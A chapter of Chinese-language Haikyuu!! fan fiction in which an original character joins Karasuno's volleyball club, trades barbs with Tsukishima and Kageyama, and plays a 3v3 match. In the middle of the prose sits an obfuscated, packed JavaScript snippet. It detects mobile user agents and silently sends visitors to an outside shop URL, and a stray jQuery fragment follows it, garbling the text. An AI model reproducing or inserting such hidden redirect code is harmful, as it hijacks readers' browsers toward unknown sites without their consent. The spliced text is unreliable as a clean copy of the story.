再次见到月岛萤比望月幸真想象的还要早。
他走进教室,看着座位右侧眼熟的人,歪了歪头。
“好巧,月岛同学,我们是一个班的哎。”
月岛萤摆弄着笔袋的动作一停,淡淡的说道:“昨天白天我就坐在这里了。”
望月幸真惊讶的说道:“是吗?我竟然没注意到。”
月岛萤轻哼一声,补上了一句:“你好,望月同学。”
虽然阴阳怪气了一点,但确实是一句来自月岛萤的问好。
“早上好,月岛君。”
望月幸真有些诧异的挑了挑眉,他余光扫了一眼月岛萤后面的山口忠。
对方的表情没有任何惊讶,静静的坐在原地。
…原来还是比较有礼貌的那类吗?完全看不出来哎。
月岛萤皱着眉说道:“望月同学,你在想什么不礼貌的事情呢。”
望月幸真笑了笑,无辜的说道:“没有啊,月岛君,你怎么能这样想。”
月岛萤转过身,硬生生在大热天打了个寒颤。
山口忠眨了眨眼,拿笔尖捅了下他的后背:“阿月,你不喜欢望月同学吗?”
“对笨蛋没有兴趣,”月岛萤半转身:“你喜欢他?”
“还好吧,毕竟望月同学长得很帅气啊。”
山口忠转过身,短短的几分钟,望月幸真的课桌周围已经围满了人,交谈甚欢。
从人群的缝隙里可以看见望月幸真随着身体幅度晃动的头发和充满笑意的眼睛,偶尔的搭话也是热情又有分寸。
对方有一双很罕见的蓝色眼睛,总是笑意盈盈的,和人讲话的时候会认真的和对方对视。
平易近人又会说话的池面,到哪里都是受人欢迎的类型。
月岛萤也注意到了这一点,他转过身,第一个想法是跟他有什么关系。
第二个想法是真是好假的人。
他百无聊赖的翻开了书,转着笔等着老师过来。
…放学之后还要去排球部和笨蛋打球。
舌头在齿间滑动,发出一声不明显的“啧”,等再抬起头时,月岛萤已经恢复了面无表情。
*
“望月同学,一起去排球馆吗?”
放学铃声响起后,山口忠叫住了已经背上了书包的望月幸真。
望月幸真有点惊讶的回过头,语气抱歉的说道:“我得先去找影山……”
“你们不知道吧,我不跟着去的话,飞雄会迷路的。”
“那好吧,”山口忠遗憾的说道:“那一会儿见。”
看着望月幸真匆匆离开的背影,山口忠轻声催促还在慢吞吞收拾东西的月岛萤:“快点啦阿月,我们也要赶紧走了。”
“急什么,马上。”
月岛萤把东西塞进书包里,漫不经心的想道:
不知道王者大人知不知道他的队友这么编排他。
应该不知道吧?毕竟那家伙看上去很会装的样子,跟朋友估计会更装。
等到月岛萤和山口忠到了排球馆的时候,望月幸真已经在和前辈们聊天了。
面前都是高年级的前辈,望月幸真坐在地上抱着膝盖,眉眼弯弯,完完全全就是乖巧后辈的样子。
“嗯……影山其实性格很好的,”
望月幸真看着泽村大地,认真的说道:“很好相处,只是不善于表达而已。”
菅原孝支温柔的笑了笑,在旁边撑着膝盖:“我们知道的,望月。”
“小比赛更多的也是让他们能融入集体而已。”
“不用担心。”
“啊,”望月幸真不好意思的笑了笑,摸了摸有点发红的耳垂。
“谢谢前辈。”
泽村大地爽朗的笑了笑,大手拍了两下望月幸真的后背:“不用谢,大家以后都是队友啊。”
菅原孝支的眉毛跳了跳:“轻点啊大地!你要把我们乌野的好苗子打断气了!”
……
一片混乱中,影山飞雄和日向翔阳终于推开了排球馆的门。
望月幸真头也不回的抱怨道:“好慢,训练都这么不积极,一会儿就把你劝退了。”
影山飞雄的太阳穴狠狠的跳了跳,但在泽村大地的视线下,他放弃了在这个时候和望月幸真打一架的想法。
一会儿比完赛再说吧。
菅原孝支小声调侃道:“关系很好呢,望月。”
望月幸真失笑,他和菅原孝支脑袋挨着脑袋,同样小声说道:“其实我和影山是升学备考的时候关系才好起来的来着,以前很一般的。”
“那我们就放心了。”
望月幸真懵懵的抬头:“啊?”
泽村大地摆摆手:“你们不是要打3V3吗?我和阿菅一直在犹豫要不要把望月你放在影山的队伍里来着。”
如果望月幸真和影山飞雄在一组,一对配合熟练的组合对另一组会不会不公平?
如果不放进去的话,同样一年级却没有入队比赛的望月未免也太可怜了一点。
望月幸真一时失语,等到已经准备热身的时候才回过神。
影山飞雄不满的皱着眉,不客气的说道:“想什么呢你?不想打就下去。”
望月幸真不好意思的笑了笑:“来了来了。”
“和其他人最好不要这样说话哦飞雄。”
“…嗯。”
“要是被怼了的话怎么办,我可不是那种会帮忙拉架的朋友啊,只会在旁边记录飞雄的黑历史的。”
影山飞雄不搭理他了,于是望月幸真只能幽幽的叹了一口气。
比赛开始,二三年级站在记分牌后面加油应援。
“加油啊一年级——”
“稳重一点啊田中。”
“是啊,不要在一年级面前丢脸。”
望月幸真朝记分牌的方向弯了弯唇角,然后两步退到后面准备发球。
月岛萤转身说道:“山口,往后退一点。”
在得知排球部队友名字的那个晚上,月岛萤就看了一些关于北川第一比赛的录像。
一场县决赛的录像看下来,月岛萤皱紧了眉。
一是因为影山飞雄的打球方式,二是里面没有望月幸真的身影。
怎么回事?反正肯定不是因为北川第一的王牌兼队长不是正选吧。
不耐烦的月岛萤熬夜看了一整晚的录像,白天脑子一直昏昏沉沉的。
他向来不是忍气吞声的性子,看了一晚上录像很烦,想到未来要和独裁的二传当三年队友也很烦。
于是他相当从心的把在场的三个人无差别的怼了一遍。
确实是不太礼貌,但月岛萤从来不在意这个。
就像他现在其实也并不是很在意望月幸真的发球一样。
一声巨响在身后响起,月岛萤漫不经心的回头,正巧看见球反弹到了小二楼。
大猩猩吗?他第二不喜欢的类型。
这个望月幸真简直是在全方位踩他的雷。
场上只有月岛萤和影山飞雄勉强维持住了平静的表情,日向翔阳已经瞪大了眼睛,双手扒住了网。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821995|211162||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“那那那个发球!好厉害!像炸弹一样炸开了!”
他转身闪现到望月幸真面前:“望月你是怎么做到的!太厉害了!”
山口忠心有余悸的回了下头,明明阿月已经提醒他了,他却没有摸到一点球的轨迹。
真的是,好厉害。
泽村大地单手捂住嘴,抑制住自己的笑容。
好苗子,真是好苗子啊——
这样的好苗子竟然扎堆到了乌野,真是不得了。
缘下力用余光扫到了他的表情,用胳膊肘怼了菅原孝支一把:“他怎么了?”
菅原孝支一本正经的说道:“高兴傻了吧。”
“……”
“看,都不说话了。”
场上,被人围着夸奖了一圈的望月幸真抿嘴笑了笑:“其实还好啦,我打排球的时间比较长而已。”
“当然可以啦,等自由练习的时候吧,我还很擅长给人当老师的。”
影山飞雄已经习惯了他的表现,百无聊赖的盯着网发呆。
…然后就和同样在原地发呆的月岛萤来了个对视。
片刻后,两人默契的移开了视线。
晦气。
两秒后,望月幸真突然像鬼一样搭着影山飞雄的肩膀:“飞雄,我有预感你会和月岛同学成为不错的朋友哦。”
影山飞雄平静的注视着他,再次说道:“你有病吧。”
他和月岛不吵起来就算好的了好吗?
十分钟后,望月幸真不忍的移开了视线。
因为,影山飞雄和月岛萤,真的吵起来了!当着一众前辈的面!在加入(还不算加入)排球部的第一天!
虽然只是隔着网的斗嘴,但只要长眼睛的就能看出来两个人的针锋相对。
但也不能完全算是针锋相对……
望月幸真歪头看着影山飞雄的背影,他总感觉对方在收着脾气。
要是国中的时候估计早就炸了吧。
虽然说了不会拉架,但望月幸真还是走上前和山口忠一起打了两句圆场,给对峙的两人搭了台阶。
一局比赛在磕磕绊绊中结束了,每个人的表现都可圈可点。
望月幸真亮眼的发球和进攻,月岛萤优越的身高带来的严密的拦网,表现稳定的山口忠……
但更多夺目的无疑是影山飞雄和日向翔阳的快攻配合,虽然磨合了整整半局,成果却太过斐然。
配合默契的两位也如愿加入了排球部。
角落里,望月幸真给他们鼓掌庆祝:“好棒好棒。”
日向翔阳眼睛亮亮的:“望月!我之前都不知道你那——么厉害!能跳那么高,扣球力气也好大。”
望月幸真:“不过还是日向跳的更高吧。”
“我看过你和飞雄的比赛哦,好厉害,跳的好高,现在也比以前进步了好多。”
就是基本功差了点。
望月幸真在心里补充道,面上依旧是友善的笑容。
日向翔阳双眼放光:“是吗?谢谢你望月!”
影山飞雄面色阴沉:“假的,基本功差死了,多练练吧。”
望月幸真心里一堵,当即就想拿脚踹他。
不过他面前这个日向君的脾气很不错,无所谓的说道:“因为我们国中没有排球部啦,话说,这还是我第一次跟着这么多人一起学习排球呢。”
望月幸真面露诧异,又低笑了一下:“那你真的是很厉害啊,日向。”
“有这样的精神,你以后一定会是很厉害的排球运动员的。”